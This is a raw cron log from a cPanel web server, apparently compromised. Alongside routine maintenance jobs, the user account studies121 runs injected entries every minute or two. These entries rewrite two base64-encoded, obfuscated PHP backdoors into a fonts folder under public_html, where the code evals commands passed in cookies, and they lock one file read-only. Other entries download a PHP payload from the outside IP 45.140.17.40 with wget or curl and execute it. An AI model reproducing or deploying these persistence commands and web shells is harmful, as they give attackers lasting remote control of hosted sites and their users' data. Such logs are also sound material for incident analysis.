Sep 22 01:38:01 ip-184-168-122-23 CROND[21939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:38:01 ip-184-168-122-23 CROND[21940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:38:01 ip-184-168-122-23 CROND[21941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:39:01 ip-184-168-122-23 CROND[22038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:39:01 ip-184-168-122-23 CROND[22041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:39:01 ip-184-168-122-23 CROND[22045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:39:01 ip-184-168-122-23 CROND[22046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:39:01 ip-184-168-122-23 CROND[22047]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:40:01 ip-184-168-122-23 CROND[22180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22181]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:40:01 ip-184-168-122-23 CROND[22188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:40:01 ip-184-168-122-23 CROND[22187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:41:01 ip-184-168-122-23 CROND[22319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:41:01 ip-184-168-122-23 CROND[22320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:41:01 ip-184-168-122-23 CROND[22322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:41:01 ip-184-168-122-23 CROND[22324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:42:01 ip-184-168-122-23 CROND[22435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:42:01 ip-184-168-122-23 CROND[22438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:42:01 ip-184-168-122-23 CROND[22439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:42:01 ip-184-168-122-23 CROND[22440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:42:01 ip-184-168-122-23 CROND[22437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:43:01 ip-184-168-122-23 CROND[22679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:43:01 ip-184-168-122-23 CROND[22680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:43:01 ip-184-168-122-23 CROND[22682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:43:01 ip-184-168-122-23 CROND[22685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:44:01 ip-184-168-122-23 CROND[22791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:44:01 ip-184-168-122-23 CROND[22792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:44:01 ip-184-168-122-23 CROND[22796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:44:01 ip-184-168-122-23 CROND[22798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:44:01 ip-184-168-122-23 CROND[22797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:45:01 ip-184-168-122-23 CROND[22924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:45:01 ip-184-168-122-23 CROND[22926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:45:01 ip-184-168-122-23 CROND[22925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:45:01 ip-184-168-122-23 CROND[22929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:45:01 ip-184-168-122-23 CROND[22931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:45:01 ip-184-168-122-23 CROND[22933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:46:01 ip-184-168-122-23 CROND[23049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:46:01 ip-184-168-122-23 CROND[23051]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 01:46:01 ip-184-168-122-23 CROND[23053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:46:01 ip-184-168-122-23 CROND[23055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:46:01 ip-184-168-122-23 CROND[23056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:46:01 ip-184-168-122-23 CROND[23054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:46:01 ip-184-168-122-23 CROND[23058]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 01:47:01 ip-184-168-122-23 CROND[23176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:47:01 ip-184-168-122-23 CROND[23178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:47:01 ip-184-168-122-23 CROND[23177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:47:01 ip-184-168-122-23 CROND[23179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:48:01 ip-184-168-122-23 CROND[23268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:48:01 ip-184-168-122-23 CROND[23270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:48:01 ip-184-168-122-23 CROND[23271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:48:01 ip-184-168-122-23 CROND[23273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:48:01 ip-184-168-122-23 CROND[23272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:49:01 ip-184-168-122-23 CROND[23494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:49:01 ip-184-168-122-23 CROND[23495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:49:01 ip-184-168-122-23 CROND[23497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:49:01 ip-184-168-122-23 CROND[23498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:49:01 ip-184-168-122-23 CROND[23501]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
